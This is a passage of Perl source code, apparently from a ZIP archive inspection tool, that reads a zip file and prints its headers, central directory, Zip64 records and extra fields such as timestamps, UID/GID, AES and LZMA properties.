    # Sanity check that this is a Zip file
    my ($buffer, $signature) = read_V();

    warn &quot;$filename doesn&#039;t look like a zip file\n&quot;
        if $signature != ZIP_LOCAL_HDR_SIG ;
    $FH-&gt;seek(0, SEEK_SET) ;
}

my @Messages = ();

if ($opt_scan)
{

    while(scanForSignature())
    {
        my $here = $FH-&gt;tell();

        my ($buffer, $signature) = read_V();
        my $handler = $Lookup{$signature};
        $handler-&gt;($signature, $buffer);

        seekTo($here + 4) ;
    }

    dislayMessages();
    exit;

}

our ($CdExists, $CdOffset, @CentralDirectory) = scanCentralDirectory($FH);

die &quot;No Central Directory records found\n&quot;
    if ! $CdExists ;

$OFFSET-&gt;reset();
$FH-&gt;seek(0, SEEK_SET) ;

outSomeData($START, &quot;PREFIX DATA&quot;)
    if defined $START &amp;&amp; $START &gt; 0 ;

my $skippedFrom = 0 ;
my $skippedContent = 0 ;

while (1)
{
    last if $FH-&gt;eof();

    my $here = $FH-&gt;tell();
    if ($here &gt;= $TRAILING) {
        print &quot;\n&quot; ;
        outSomeData($FILELEN - $TRAILING, &quot;TRAILING DATA&quot;);
        last;

    }

    my ($buffer, $signature) = read_V();

    my $handler = $Lookup{$signature};

    if (!defined $handler)
    {
        if (@CentralDirectory) {
            # Should be at offset that central directory says
            my $locOffset = $CentralDirectory[0][0];
            my $delta = $locOffset - $here ;

            if ($here + 4 == $locOffset ) {
                for (0 .. 3) {
                    $FH-&gt;ungetc(ord(substr($buffer, $_, 1)))
                }
                outSomeData($delta, &quot;UNEXPECTED PADDING&quot;);
                next;
            }
        }


        if ($here &lt; $CdOffset)
        {
            # next
            #     if scanForSignature() ;

            $skippedFrom = $FH-&gt;tell() ;
            $skippedContent = $CdOffset - $skippedFrom ;

            print &quot;\nWARNING!\nZip local header not found.\n&quot;;
            printf &quot;Skipping 0x%x bytes to Central Directory...\n&quot;, $skippedContent;

            push @Messages,
                sprintf(&quot;Expected Zip header not found at offset 0x%X, &quot;, $skippedFrom) .
                sprintf(&quot;skipped 0x%X bytes\n&quot;, $skippedContent);

            seekTo($CdOffset);

            next;
        }
        else
        {
            printf &quot;\n\nUnexpected END at offset %08X, value %s\n&quot;, $here, Value_V($signature);

            last;
        }
    }

    $ZIP64 = 0 if $signature != ZIP_DATA_HDR_SIG ;
    $handler-&gt;($signature, $buffer);
}


dislayMessages();

exit ;

sub dislayMessages
{
    if (@Messages)
    {
        my $count = scalar @Messages ;
        print &quot;\nWARNINGS\n\n&quot;;
        print &quot;* $_\n&quot; for @Messages ;
    }

    print &quot;Done\n&quot;;
}

sub compressionMethod
{
    my $id = shift ;
    Value_v($id) . &quot; &#039;&quot; . ($ZIP_CompressionMethods{$id} || &quot;Unknown Method&quot;) . &quot;&#039;&quot; ;
}

sub LocalHeader
{
    my $signature = shift ;
    my $data = shift ;

    my $from_offset = $FH-&gt;tell() - 4;

    print &quot;\n&quot;;
    ++ $LocalHeaderCount;
    out $data, &quot;LOCAL HEADER #&quot; . sprintf(&quot;%X&quot;, $LocalHeaderCount) , Value_V($signature);

    my $buffer;

    my ($loc, $CDcompressedLength) ;
    ($loc, $CDcompressedLength) = @{ shift @CentralDirectory }
        if ! $opt_scan ;

    out_C  &quot;Extract Zip Spec&quot;, \&amp;decodeZipVer;
    out_C  &quot;Extract OS&quot;, \&amp;decodeOS;

    my ($bgp, $gpFlag) = read_v();
    my ($bcm, $compressedMethod) = read_v();

    out $bgp, &quot;General Purpose Flag&quot;, Value_v($gpFlag) ;
    GeneralPurposeBits($compressedMethod, $gpFlag);

    out $bcm, &quot;Compression Method&quot;,   compressionMethod($compressedMethod) ;

    out_V &quot;Last Mod Time&quot;, sub { scalar getTime(_dosToUnixTime($_[0])) };

    my $crc                = out_V &quot;CRC&quot;;
    my $compressedLength   = out_V &quot;Compressed Length&quot;;
    my $uncompressedLength = out_V &quot;Uncompressed Length&quot;;
    my $filenameLength     = out_v &quot;Filename Length&quot;;
    my $extraLength        = out_v &quot;Extra Length&quot;;

    my $filename ;
    myRead($filename, $filenameLength);
    outputFilename($filename);

    my $cl64 = U64-&gt;new( $compressedLength );
    my %ExtraContext = ();
    if ($extraLength)
    {
        my @z64 = ($uncompressedLength, $compressedLength, 1, 1);
        $ExtraContext{Zip64} = \@z64 ;
        $ExtraContext{InCentralDir} = 0;
        walkExtra($extraLength, \%ExtraContext);
    }

    my $size = 0;
    $size = printAes(\%ExtraContext)
        if $compressedMethod == 99 ;

    $size += printLzmaProperties()
        if $compressedMethod == ZIP_CM_LZMA ;

    $CDcompressedLength = $compressedLength
        if $opt_scan ;

    # $CDcompressedLength-&gt;subtract($size)
        # if $size ;
    $CDcompressedLength -= $size;

    # if ($CDcompressedLength-&gt;getHigh() || $CDcompressedLength-&gt;getLow()) {
    if ($CDcompressedLength) {
        outSomeData($CDcompressedLength, &quot;PAYLOAD&quot;) ;
    }

    if ($compressedMethod == 99) {
        my $auth ;
        myRead($auth, 10);
        out $auth, &quot;AES Auth&quot;,  hexDump($auth);
    }

    # $SEEN-&gt;save(&quot;LOCAL HEADER #&quot; . sprintf(&quot;%X&quot;, $LocalHeaderCount), $filename, $from_offset, $from_offset + $CDcompressedLength)
}

sub outputFilename
{
    my $filename = shift;

    if (length $filename &gt; 256)
    {
        my $f = substr($filename, 0, 256) ;
        out $f, &quot;Filename&quot;,  &quot;&#039;&quot;. $f . &quot;&#039; ...&quot;;
    }
    else
    {
        out $filename, &quot;Filename&quot;,  &quot;&#039;&quot;. $filename . &quot;&#039;&quot;;
    }
}

sub CentralHeader
{
    my $signature = shift ;
    my $data = shift ;

    my $from_offset = $FH-&gt;tell() - 4;

    ++ $CentralHeaderCount;
    print &quot;\n&quot;;
    out $data, &quot;CENTRAL HEADER #&quot; . sprintf(&quot;%X&quot;, $CentralHeaderCount) . &quot;&quot;, Value_V($signature);
    my $buffer;

    out_C &quot;Created Zip Spec&quot;, \&amp;decodeZipVer;
    out_C &quot;Created OS&quot;, \&amp;decodeOS;
    out_C  &quot;Extract Zip Spec&quot;, \&amp;decodeZipVer;
    out_C  &quot;Extract OS&quot;, \&amp;decodeOS;

    my ($bgp, $gpFlag) = read_v();
    my ($bcm, $compressedMethod) = read_v();

    out $bgp, &quot;General Purpose Flag&quot;, Value_v($gpFlag) ;
    GeneralPurposeBits($compressedMethod, $gpFlag);

    out $bcm, &quot;Compression Method&quot;, compressionMethod($compressedMethod) ;

    out_V &quot;Last Mod Time&quot;, sub { scalar getTime(_dosToUnixTime($_[0])) };

    my $crc                = out_V &quot;CRC&quot;;
    my $compressedLength   = out_V &quot;Compressed Length&quot;;
    my $uncompressedLength = out_V &quot;Uncompressed Length&quot;;
    my $filenameLength     = out_v &quot;Filename Length&quot;;
    my $extraLength        = out_v &quot;Extra Length&quot;;
    my $comment_length     = out_v &quot;Comment Length&quot;;
    my $disk_start         = out_v &quot;Disk Start&quot;;
    my $int_file_attrib    = out_v &quot;Int File Attributes&quot;;

    out1 &quot;[Bit 0]&quot;,  $int_file_attrib &amp; 1 ? &quot;1 Text Data&quot; : &quot;0 &#039;Binary Data&#039;&quot;;

    my $ext_file_attrib    = out_V &quot;Ext File Attributes&quot;;
    out1 &quot;[Bit 0]&quot;,  &quot;Read-Only&quot;
        if $ext_file_attrib &amp; 0x01 ;
    out1 &quot;[Bit 1]&quot;,  &quot;Hidden&quot;
        if $ext_file_attrib &amp; 0x02 ;
    out1 &quot;[Bit 2]&quot;,  &quot;System&quot;
        if $ext_file_attrib &amp; 0x04 ;
    out1 &quot;[Bit 3]&quot;,  &quot;Label&quot;
        if $ext_file_attrib &amp; 0x08 ;
    out1 &quot;[Bit 4]&quot;,  &quot;Directory&quot;
        if $ext_file_attrib &amp; 0x10 ;
    out1 &quot;[Bit 5]&quot;,  &quot;Archive&quot;
        if $ext_file_attrib &amp; 0x20 ;

    my $lcl_hdr_offset     = out_V &quot;Local Header Offset&quot;;

    my $filename ;
    myRead($filename, $filenameLength);
    outputFilename($filename);


    my %ExtraContext = ();
    if ($extraLength)
    {
        my @z64 = ($uncompressedLength, $compressedLength, $lcl_hdr_offset, $disk_start);
        $ExtraContext{Zip64} = \@z64 ;
        $ExtraContext{InCentralDir} = 1;
        walkExtra($extraLength, \%ExtraContext);
    }

    if ($comment_length)
    {
        my $comment ;
        myRead($comment, $comment_length);
        out $comment, &quot;Comment&quot;,  &quot;&#039;&quot;. $comment . &quot;&#039;&quot;;
    }

    $SEEN-&gt;save(&quot;CENTRAL HEADER ref Local #&quot; . sprintf(&quot;%X&quot;, $CentralHeaderCount), $filename, $lcl_hdr_offset, $lcl_hdr_offset + $compressedLength) ;

    # $SEEN-&gt;save(&quot;CENTRAL HEADER #&quot; . sprintf(&quot;%X&quot;, $CentralHeaderCount), $filename, $from_offset, $FH-tell());
}

sub decodeZipVer
{
    my $ver = shift ;

    my $sHi = int($ver /10) ;
    my $sLo = $ver % 10 ;

    #out1 &quot;Zip Spec&quot;, &quot;$sHi.$sLo&quot;;
    &quot;$sHi.$sLo&quot;;
}

sub decodeOS
{
    my $ver = shift ;

    $OS_Lookup{$ver} || &quot;Unknown&quot; ;
}

sub Zip64EndCentralHeader
{
    my $signature = shift ;
    my $data = shift ;

    print &quot;\n&quot;;
    out $data, &quot;ZIP64 END CENTRAL DIR RECORD&quot;, Value_V($signature);

    my $buff;
    myRead($buff, 8);

    out $buff, &quot;Size of record&quot;,       unpackValue_VV($buff);

    my $size  = Value_VV64($buff);

    out_C  &quot;Created Zip Spec&quot;, \&amp;decodeZipVer;
    out_C  &quot;Created OS&quot;, \&amp;decodeOS;
    out_C  &quot;Extract Zip Spec&quot;, \&amp;decodeZipVer;
    out_C  &quot;Extract OS&quot;, \&amp;decodeOS;
    out_V  &quot;Number of this disk&quot;;
    out_V  &quot;Central Dir Disk no&quot;;
    out_VV &quot;Entries in this disk&quot;;
    out_VV &quot;Total Entries&quot;;
    out_VV &quot;Size of Central Dir&quot;;
    out_VV &quot;Offset to Central dir&quot;;

    # TODO -
    if ($size != 44)
    {
        push @Messages,  &quot;Unsupported Size field in Zip64EndCentralHeader: should be 44, got $size\n&quot;
    }
}


sub Zip64EndCentralLocator
{
    my $signature = shift ;
    my $data = shift ;

    print &quot;\n&quot;;
    out $data, &quot;ZIP64 END CENTRAL DIR LOCATOR&quot;, Value_V($signature);

    out_V  &quot;Central Dir Disk no&quot;;
    out_VV &quot;Offset to Central dir&quot;;
    out_V  &quot;Total no of Disks&quot;;
}

sub EndCentralHeader
{
    my $signature = shift ;
    my $data = shift ;

    print &quot;\n&quot;;
    out $data, &quot;END CENTRAL HEADER&quot;, Value_V($signature);

    out_v &quot;Number of this disk&quot;;
    out_v &quot;Central Dir Disk no&quot;;
    out_v &quot;Entries in this disk&quot;;
    out_v &quot;Total Entries&quot;;
    out_V &quot;Size of Central Dir&quot;;
    out_V &quot;Offset to Central Dir&quot;;
    my $comment_length = out_v &quot;Comment Length&quot;;

    if ($comment_length)
    {
        my $comment ;
        myRead($comment, $comment_length);
        out $comment, &quot;Comment&quot;, &quot;&#039;$comment&#039;&quot;;
    }
}

sub DataHeader
{
    my $signature = shift ;
    my $data = shift ;

    print &quot;\n&quot;;
    out $data, &quot;STREAMING DATA HEADER&quot;, Value_V($signature);

    out_V &quot;CRC&quot;;

    if ($ZIP64)
    {
        out_VV &quot;Compressed Length&quot; ;
        out_VV &quot;Uncompressed Length&quot; ;
    }
    else
    {
        out_V &quot;Compressed Length&quot; ;
        out_V &quot;Uncompressed Length&quot; ;
    }
}


sub GeneralPurposeBits
{
    my $method = shift;
    my $gp = shift;

    out1 &quot;[Bit  0]&quot;, &quot;1 &#039;Encryption&#039;&quot; if $gp &amp; ZIP_GP_FLAG_ENCRYPTED_MASK;

    my %lookup = (
        0 =&gt;    &quot;Normal Compression&quot;,
        1 =&gt;    &quot;Maximum Compression&quot;,
        2 =&gt;    &quot;Fast Compression&quot;,
        3 =&gt;    &quot;Super Fast Compression&quot;);


    if ($method == ZIP_CM_DEFLATE)
    {
        my $mid = ($gp &gt;&gt; 1) &amp; 0x03 ;

        out1 &quot;[Bits 1-2]&quot;, &quot;$mid &#039;$lookup{$mid}&#039;&quot;;
    }

    if ($method == ZIP_CM_LZMA)
    {
        if ($gp &amp; ZIP_GP_FLAG_LZMA_EOS_PRESENT) {
            out1 &quot;[Bit 1]&quot;, &quot;1 &#039;LZMA EOS Marker Present&#039;&quot; ;
        }
        else {
            out1 &quot;[Bit 1]&quot;, &quot;0 &#039;LZMA EOS Marker Not Present&#039;&quot; ;
        }
    }

    if ($method == ZIP_CM_IMPLODE) # Imploding
    {
        out1 &quot;[Bit 1]&quot;, ($gp &amp; (1 &lt;&lt; 1) ? &quot;1 &#039;8k&quot; : &quot;0 &#039;4k&quot;) . &quot; Sliding Dictionary&#039;&quot; ;
        out1 &quot;[Bit 2]&quot;, ($gp &amp; (2 &lt;&lt; 1) ? &quot;1 &#039;3&quot; : &quot;0 &#039;2&quot;  ) . &quot; Shannon-Fano Trees&#039;&quot; ;
    }

    out1 &quot;[Bit  3]&quot;, &quot;1 &#039;Streamed&#039;&quot;           if $gp &amp; ZIP_GP_FLAG_STREAMING_MASK;
    out1 &quot;[Bit  4]&quot;, &quot;1 &#039;Enhanced Deflating&#039;&quot; if $gp &amp; 1 &lt;&lt; 4;
    out1 &quot;[Bit  5]&quot;, &quot;1 &#039;Compressed Patched&#039;&quot; if $gp &amp; 1 &lt;&lt; 5 ;
    out1 &quot;[Bit  6]&quot;, &quot;1 &#039;Strong Encryption&#039;&quot;  if $gp &amp; ZIP_GP_FLAG_STRONG_ENCRYPTED_MASK;
    out1 &quot;[Bit 11]&quot;, &quot;1 &#039;Language Encoding&#039;&quot;  if $gp &amp; ZIP_GP_FLAG_LANGUAGE_ENCODING;
    out1 &quot;[Bit 12]&quot;, &quot;1 &#039;Pkware Enhanced Compression&#039;&quot;  if $gp &amp; 1 &lt;&lt;12 ;
    out1 &quot;[Bit 13]&quot;, &quot;1 &#039;Encrypted Central Dir&#039;&quot;  if $gp &amp; 1 &lt;&lt;13 ;

    return ();
}


sub seekSet
{
    my $fh = $_[0] ;
    my $size = $_[1];

    use Fcntl qw(SEEK_SET);
    if (ref $size eq &#039;U64&#039;) {
        seek($fh, $size-&gt;get64bit(), SEEK_SET);
    }
    else {
        seek($fh, $size, SEEK_SET);
    }

}

sub skip
{
    my $fh = $_[0] ;
    my $size = $_[1];

    use Fcntl qw(SEEK_CUR);
    if (ref $size eq &#039;U64&#039;) {
        seek($fh, $size-&gt;get64bit(), SEEK_CUR);
    }
    else {
        seek($fh, $size, SEEK_CUR);
    }

}


sub myRead
{
    my $got = \$_[0] ;
    my $size = $_[1];

    my $wantSize = $size;
    $$got = &#039;&#039;;

    if ($size == 0)
    {
        return ;
    }

    if ($size &gt; 0)
    {
        my $buff ;
        my $status = $FH-&gt;read($buff, $size);
        return $status
            if $status &lt; 0;
        $$got .= $buff ;
    }

    my $len = length $$got;
    die &quot;Truncated file (got $len, wanted $wantSize): $!\n&quot;
        if length $$got != $wantSize;
}




sub walkExtra
{
    my $XLEN = shift;
    my $context = shift;

    my $buff ;
    my $offset = 0 ;

    my $id;
    my $subLen;
    my $payload ;

    my $count = 0 ;

    while ($offset &lt; $XLEN) {

        ++ $count;

        # Detect if there is not enough data for an extra ID and length.
        # Android zipalign and zipflinger are prime candidates for these
        # non-standard extra sub-fields.
        my $remaining = $XLEN - $offset;
        if ($remaining &lt; ZIP_EXTRA_SUBFIELD_HEADER_SIZE) {
            # There is not enough. Consume whatever is there and return so parsing
            # can continue.
            myRead($payload, $remaining);
            my $data = hexDump($payload);

            out $payload, &quot;Malformed Extra Data&quot;, $data;

            return undef;
        }

        myRead($id, ZIP_EXTRA_SUBFIELD_ID_SIZE);
        $offset += ZIP_EXTRA_SUBFIELD_ID_SIZE;
        my $lookID = unpack &quot;v&quot;, $id ;
        my ($who, $decoder) =  @{ defined $Extras{$lookID} ? $Extras{$lookID} : [&#039;&#039;, undef] };
        #my ($who, $decoder) =  @{ $Extras{unpack &quot;v&quot;, $id} || [&#039;&#039;, undef] };

        $who = &quot;$id: $who&quot;
            if $id =~ /\w\w/ ;

        $who = &quot;&#039;$who&#039;&quot;;
        out $id, &quot;Extra ID #&quot; . Value_v($count), unpackValue_v($id) . &quot; $who&quot; ;

        myRead($buff, ZIP_EXTRA_SUBFIELD_LEN_SIZE);
        $offset += ZIP_EXTRA_SUBFIELD_LEN_SIZE;

        $subLen =  unpack(&quot;v&quot;, $buff);
        out2 $buff, &quot;Length&quot;, Value_v($subLen) ;

        return undef
            if $offset + $subLen &gt; $XLEN ;

        if (! defined $decoder)
        {
            if ($subLen)
            {
                myRead($payload, $subLen);
                my $data = hexDump($payload);

                out2 $payload, &quot;Extra Payload&quot;, $data;
            }
        }
        else
        {
            $decoder-&gt;($subLen, $context) ;
        }

        $offset += $subLen ;
    }

    return undef ;
}


sub full32
{
    return $_[0] == 0xFFFFFFFF ;
}

sub decode_Zip64
{
    my $len = shift;
    my $context = shift;

    my $z64Data = $context-&gt;{Zip64};

    $ZIP64 = 1;

    if (full32 $z64Data-&gt;[0] ) {
        out_VV &quot;  Uncompressed Size&quot;;
    }

    if (full32 $z64Data-&gt;[1] ) {
        out_VV &quot;  Compressed Size&quot;;
    }

    if (full32 $z64Data-&gt;[2] ) {
        out_VV &quot;  Offset to Local Dir&quot;;
    }

    if ($z64Data-&gt;[3] == 0xFFFF ) {
        out_V &quot;  Disk Number&quot;;
    }
}

sub Ntfs2Unix
{
    my $v = shift;
    my $u64 = shift;

    # NTFS offset is 19DB1DED53E8000

    my $hex = Value_U64($u64) ;
    my $NTFS_OFFSET = U64-&gt;new( 0x19DB1DE, 0xD53E8000 );
    $u64-&gt;subtract($NTFS_OFFSET);
    my $elapse = $u64-&gt;get64bit();
    my $ns = ($elapse % 10000000) * 100;
    $elapse = int ($elapse/10000000);
    return &quot;$hex &#039;&quot; . localtime($elapse) .
           &quot; &quot; . sprintf(&quot;%0dns&#039;&quot;, $ns);
}

sub decode_NTFS_Filetimes
{
    my $len = shift;
    my $context = shift;

    out_V &quot;  Reserved&quot;;
    out_v &quot;  Tag1&quot;;
    out_v &quot;  Size1&quot; ;

    my ($m, $s1) = read_U64;
    out $m, &quot;  Mtime&quot;, Ntfs2Unix($m, $s1);

    my ($c, $s2) = read_U64;
    out $c, &quot;  Ctime&quot;, Ntfs2Unix($m, $s2);

    my ($a, $s3) = read_U64;
    out $m, &quot;  Atime&quot;, Ntfs2Unix($m, $s3);
}

sub getTime
{
    my $time = shift ;

    return &quot;&#039;&quot; . localtime($time) . &quot;&#039;&quot; ;
}

sub decode_UT
{
    my $len = shift;
    my $context = shift;

    my ($data, $flags) = read_C();

    my $f = Value_C $flags;
    $f .= &quot; mod&quot;    if $flags &amp; 1;
    $f .= &quot; access&quot; if $flags &amp; 2;
    $f .= &quot; change&quot; if $flags &amp; 4;

    out $data, &quot;  Flags&quot;, &quot;&#039;$f&#039;&quot;;

    -- $len;

    if ($flags &amp; 1)
    {
        my ($data, $time) = read_V();

        out2 $data, &quot;Mod Time&quot;,    Value_V($time) . &quot; &quot; . getTime($time) ;

        $len -= 4 ;
    }


      if ($flags &amp; 2 &amp;&amp; $len &gt; 0 )
      {
          my ($data, $time) = read_V();

          out2 $data, &quot;Access Time&quot;,    Value_V($time) . &quot; &quot; . getTime($time) ;
          $len -= 4 ;
      }

      if ($flags &amp; 4 &amp;&amp; $len &gt; 0)
      {
          my ($data, $time) = read_V();

          out2 $data, &quot;Change Time&quot;,    Value_V($time) . &quot; &quot; . getTime($time) ;
      }
}



sub decode_AES
{
    my $len = shift;
    my $context = shift;

    return if $len == 0 ;

    my %lookup = ( 1 =&gt; &quot;AE-1&quot;, 2 =&gt; &quot;AE-2&quot;);
    out_v &quot;  Vendor Version&quot;, sub {  $lookup{$_[0]} || &quot;Unknown&quot;  } ;

    my $id ;
    myRead($id, 2);
    out $id, &quot;  Vendor ID&quot;, unpackValue_v($id) . &quot; &#039;$id&#039;&quot;;

    my %strengths = (1 =&gt; &quot;128-bit encryption key&quot;,
                     2 =&gt; &quot;192-bit encryption key&quot;,
                     3 =&gt; &quot;256-bit encryption key&quot;,
                    );

    my $strength = out_C &quot;  Encryption Strength&quot;, sub {$strengths{$_[0]} || &quot;Unknown&quot; } ;

    my ($bmethod, $method) = read_v();
    out $bmethod, &quot;  Compression Method&quot;, compressionMethod($method) ;

    $context-&gt;{AesStrength} = $strength ;
}

sub decode_GrowthHint
{
    my $len = shift;
    my $context = shift;
    my $inCentralHdr = $context-&gt;{InCentralDir} ;

    return if $len == 0 ;

    out_v &quot;  Signature&quot; ;
    out_v &quot;  Initial Value&quot;;

    my $padding;
    myRead($padding, $len - 4);
    my $data = hexDump($padding);

    out2 $padding, &quot;Padding&quot;, $data;
}

sub decode_UX
{
    my $len = shift;
    my $context = shift;
    my $inCentralHdr = $context-&gt;{InCentralDir} ;

    return if $len == 0 ;

    my ($data, $time) = read_V();
    out2 $data, &quot;Access Time&quot;,    Value_V($time) . &quot; &quot; . getTime($time) ;

    ($data, $time) = read_V();
    out2 $data, &quot;Mod Time&quot;,    Value_V($time) . &quot; &quot; . getTime($time) ;

    if (! $inCentralHdr ) {
        out_v &quot;  UID&quot; ;
        out_v &quot;  GID&quot;;
    }
}

sub decode_Ux
{
    my $len = shift;
    my $context = shift;

    return if $len == 0 ;
    out_v &quot;  UID&quot; ;
    out_v &quot;  GID&quot;;
}

sub decodeLitteEndian
{
    my $value = shift ;

    if (length $value == 4)
    {
        return Value_V unpack (&quot;V&quot;, $value)
    }
    else {
        # TODO - fix this
        die &quot;unsupported\n&quot;;
    }

    my $got = 0 ;
    my $shift = 0;

    #hexDump
    #reverse
    #my @a =unpack &quot;C*&quot;, $value;
    #@a = reverse @a;
    #hexDump(@a);

    for (reverse unpack &quot;C*&quot;, $value)
    {
        $got = ($got &lt;&lt; 8) + $_ ;
    }

    return $got ;
}

sub decode_ux
{
    my $len = shift;
    my $context = shift;

    return if $len == 0 ;
    out_C &quot;  Version&quot; ;
    my $uidSize = out_C &quot;  UID Size&quot;;
    myRead(my $data, $uidSize);
    out2 $data, &quot;UID&quot;, decodeLitteEndian($data);

    my $gidSize = out_C &quot;  GID Size&quot;;
    myRead($data, $gidSize);
    out2 $data, &quot;GID&quot;, decodeLitteEndian($data);

}

sub decode_Java_exe
{
    my $len = shift;
    my $context = shift;

}

sub decode_up
{
    my $len = shift;
    my $context = shift;


    out_C &quot;  Version&quot;;
    out_V &quot;  NameCRC32&quot;;

    myRead(my $data, $len - 5);

    out $data, &quot;  UnicodeName&quot;, $data;
}

sub decode_Xceed_unicode
{
    my $len = shift;
    my $context = shift;

    my $data ;

    # guess the fields used for this one
    myRead($data, 4);
    out $data, &quot;  ID&quot;, $data;

    out_v &quot;  Length&quot;;
    out_v &quot;  Null&quot;;

    myRead($data, $len - 8);

    out $data, &quot;  UTF16LE Name&quot;, decode(&quot;UTF16LE&quot;, $data);
}


sub decode_NT_security
{
    my $len = shift;
    my $context = shift;
    my $inCentralHdr = $context-&gt;{InCentralDir} ;

    out_V &quot;  Uncompressed Size&quot; ;

    if (! $inCentralHdr) {

        out_C &quot;  Version&quot; ;

        out_v &quot;  Type&quot;;

        out_V &quot;  NameCRC32&quot; ;

        my $plen = $len - 4 - 1 - 2 - 4;
        myRead(my $payload, $plen);
        out $plen, &quot;  Extra Payload&quot;, hexDump($payload);
    }
}

sub decodeMVS
{
    my $len = shift;
    my $context = shift;

    # data in Big-Endian
    myRead(my $data, $len);
    my $ID = unpack(&quot;N&quot;, $data);

    if ($ID == 0xE9F3F9F0)
    {
        out($data, &quot;  ID&quot;, &quot;&#039;Z390&#039;&quot;);
        substr($data, 0, 4) = &#039;&#039;;
    }

    out($data, &quot;  Extra Payload&quot;, hexDump($data));
}

sub printAes
{
    my $context = shift ;

    my %saltSize = (
                        1 =&gt; 8,
                        2 =&gt; 12,
                        3 =&gt; 16,
                    );

    myRead(my $salt, $saltSize{$context-&gt;{AesStrength} });
    out $salt, &quot;AES Salt&quot;, hexDump($salt);
    myRead(my $pwv, 2);
    out $pwv, &quot;AES Pwd Ver&quot;, hexDump($pwv);

    return  $saltSize{$context-&gt;{AesStrength}} + 2 + 10;
}

sub printLzmaProperties
{
    my $len = 0;

    my $b1;
    my $b2;
    my $buffer;

    myRead($b1, 2);
    my ($verHi, $verLow) = unpack (&quot;CC&quot;, $b1);

    out $b1, &quot;LZMA Version&quot;, sprintf(&quot;%02X%02X&quot;, $verHi, $verLow) . &quot; &#039;$verHi.$verLow&#039;&quot;;
    my $LzmaPropertiesSize = out_v &quot;LZMA Properties Size&quot;;
    $len += 4;

    my $LzmaInfo = out_C &quot;LZMA Info&quot;,  sub { $_[0] == 93 ? &quot;(Default)&quot; : &quot;&quot;};

    my $PosStateBits = 0;
    my $LiteralPosStateBits = 0;
    my $LiteralContextBits = 0;
    $PosStateBits = int($LzmaInfo / (9 * 5));
	$LzmaInfo -= $PosStateBits * 9 * 5;
	$LiteralPosStateBits = int($LzmaInfo / 9);
	$LiteralContextBits = $LzmaInfo - $LiteralPosStateBits * 9;

    out1 &quot;  PosStateBits&quot;,        $PosStateBits;
    out1 &quot;  LiteralPosStateBits&quot;, $LiteralPosStateBits;
    out1 &quot;  LiteralContextBits&quot;,  $LiteralContextBits;

    out_V &quot;LZMA Dictionary Size&quot;;

    # TODO - assumption that this is 5
    $len += $LzmaPropertiesSize;

    skip($FH, $LzmaPropertiesSize - 5)
        if  $LzmaPropertiesSize != 5 ;

    return $len;
}

sub scanCentralDirectory
{
    my $fh = shift;

    my $here = $fh-&gt;tell();

    # Use cases
    # 1 32-bit CD
    # 2 64-bit CD

    my @CD = ();
    my $offset = findCentralDirectoryOffset($fh);

    return ()
        if ! defined $offset;

    $fh-&gt;seek($offset, SEEK_SET) ;

    # Now walk the Central Directory Records
    my $buffer ;
    while ($fh-&gt;read($buffer, 46) == 46  &amp;&amp;
           unpack(&quot;V&quot;, $buffer) == ZIP_CENTRAL_HDR_SIG) {

        my $compressedLength   = unpack(&quot;V&quot;, substr($buffer, 20, 4));
        my $uncompressedLength = unpack(&quot;V&quot;, substr($buffer, 24, 4));
        my $filename_length    = unpack(&quot;v&quot;, substr($buffer, 28, 2));
        my $extra_length       = unpack(&quot;v&quot;, substr($buffer, 30, 2));
        my $comment_length     = unpack(&quot;v&quot;, substr($buffer, 32, 2));
        my $locHeaderOffset    = unpack(&quot;V&quot;, substr($buffer, 42, 4));

        skip($fh, $filename_length ) ;

        if ($extra_length)
        {
            $fh-&gt;read(my $extraField, $extra_length) ;
            # $self-&gt;smartReadExact(\$extraField, $extra_length);

            # Check for Zip64
            # my $zip64Extended = findID(&quot;\x01\x00&quot;, $extraField);
            my $zip64Extended = findID(0x0001, $extraField);

            if ($zip64Extended)
            {
                if ($uncompressedLength == 0xFFFFFFFF)
                {
                    $uncompressedLength = Value_VV64  substr($zip64Extended, 0, 8, &quot;&quot;);
                    # $uncompressedLength = unpack &quot;Q&lt;&quot;, substr($zip64Extended, 0, 8, &quot;&quot;);
                }
                if ($compressedLength == 0xFFFFFFFF)
                {
                    $compressedLength = Value_VV64  substr($zip64Extended, 0, 8, &quot;&quot;);
                    # $compressedLength = unpack &quot;Q&lt;&quot;, substr($zip64Extended, 0, 8, &quot;&quot;);
                }
                if ($locHeaderOffset == 0xFFFFFFFF)
                {
                    $locHeaderOffset = Value_VV64  substr($zip64Extended, 0, 8, &quot;&quot;);
                    # $locHeaderOffset = unpack &quot;Q&lt;&quot;, substr($zip64Extended, 0, 8, &quot;&quot;);
                }
            }
        }

        my $got = [$locHeaderOffset, $compressedLength] ;

        # my $v64 = U64-&gt;new( $compressedLength );
        # my $loc64 = U64-&gt;new( $locHeaderOffset );
        # my $got = [$loc64, $v64] ;

        # if (full32 $compressedLength || full32  $locHeaderOffset) {
        #     $fh-&gt;read($buffer, $extra_length) ;
        #     # TODO - fix this
        #     die &quot;xxx $offset $comment_length $filename_length $extra_length&quot; . length($buffer)
        #         if length($buffer) != $extra_length;
        #     $got = get64Extra($buffer, full32($uncompressedLength),
        #                          $v64,
        #                          $loc64);

        #     # If not Zip64 extra field, assume size is 0xFFFFFFFF
        #     #$v64 = $got if defined $got;
        # }
        # else {
        #     skip($fh, $extra_length) ;
        # }

        skip($fh, $comment_length ) ;

        push @CD, $got ;
    }

    $fh-&gt;seek($here, SEEK_SET) ;

    # @CD = sort { $a-&gt;[0]-&gt;cmp($b-&gt;[0]) } @CD ;
    @CD = sort { $a-&gt;[0] &lt;=&gt; $b-&gt;[0] } @CD ;

    # Set the first Local File Header offset.
    $START = $CD[0]-&gt;[0]
        if @CD ;

    return (1, $offset, @CD);
}


sub offsetFromZip64
{
    my $fh = shift ;
    my $here = shift;

    $fh-&gt;seek($here - 20, SEEK_SET)
    # TODO - fix this
        or die &quot;xx $!&quot; ;

    my $buffer;
    my $got = 0;
    ($got = $fh-&gt;read($buffer, 20)) == 20
    # TODO - fix this
        or die &quot;xxx


         $here $got $!&quot; ;

    if ( unpack(&quot;V&quot;, $buffer) == ZIP64_END_CENTRAL_LOC_HDR_SIG ) {
        my $cd64 = Value_VV64 substr($buffer,  8, 8);

        $fh-&gt;seek($cd64, SEEK_SET) ;

        $fh-&gt;read($buffer, 4) == 4
        # TODO - fix this
            or die &quot;xxx&quot; ;

        if ( unpack(&quot;V&quot;, $buffer) == ZIP64_END_CENTRAL_REC_HDR_SIG ) {

            $fh-&gt;read($buffer, 8) ==  8
            # TODO - fix this
                or die &quot;xxx&quot; ;
            my $size  = Value_VV64($buffer);
            $fh-&gt;read($buffer, $size) ==  $size
            # TODO - fix this
                or die &quot;xxx&quot; ;

